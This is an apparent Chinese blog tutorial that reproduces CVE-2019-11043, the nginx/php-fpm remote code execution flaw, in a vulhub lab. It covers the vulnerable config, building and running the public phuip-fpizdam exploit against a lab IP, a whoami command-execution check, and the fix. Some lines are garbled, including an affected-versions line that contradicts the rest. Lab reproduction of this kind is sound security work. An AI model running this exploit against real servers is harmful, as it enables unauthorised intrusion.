CVE-2019-11043 php-fpm和nginx RCE漏洞复现
2021/4/18 7:29:28
本文主要是介绍CVE-2019-11043 php-fpm和nginx RCE漏洞复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录
- 漏洞概述
- 影响版本
- 漏洞复现
- 环境启动
- 代码执行
- 漏洞修复
漏洞概述
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
影响版本
Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。
不可以远程代码执行:PHP 7.0/7.1/7.2/7.3
location ~ [^/]\.php(/|$) { ··· fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }
漏洞复现
vulhub 靶机一台:192.168.56.136
kali 攻击机一台:192.168.56.133
环境启动
cd vulhub/php/CVE-2019-11043/ docker-compose up -d
Web访问如下:
代码执行
1.kali需按照go语言环境,如已安装好 go 语言环境可跳过此步骤。
访问:go语言环境下载
-下载二进制包:go.1.4.linux-amd64.tar.gz
-将下载的二进制包解压至 /usr/local 目录下。
tar -C /usr/loacl -zxf go.1.4.linux-amd64.tar.gz
-将 /usr/local/go/bin 目录添加至PATH环境变量。
export PATH-$PATH:/usr/local/go/bin
2.下载命令执行的POC
git clone https://github.com/neex/phuip-fpizdam //下载POC cd /phuip-fpizdam go build //go build 进行编译 ls //出现phuip-fpizdam 可执行文件为编译成功
注:如果编译失败,显示timeout,需要挂代理,然后执行以下语言添加关机变量。
export GOPROXY=https://goproxy.io
3.使用phuip-fpizdam发送数据包,同时访问web页面。
./phuip-fpizdam http://192.168.56.136:8080/index.php
访问:http://192.168.56.136:8080/index.php?a=whoami
命令执行成功:
注:如果命令没有执行成功,需多访问几次,因为php-fpm会启动多个子进程,以访问到被污染的进程。
漏洞修复
- 在不影响正常业务的情况下,删除 Nginx 配置文件中的如下配置:
fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info;
- 漏洞补丁:
https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest
参考文章:
Timeline Sec 微信公众号漏洞复现文章合集
这篇关于CVE-2019-11043 php-fpm和nginx RCE漏洞复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享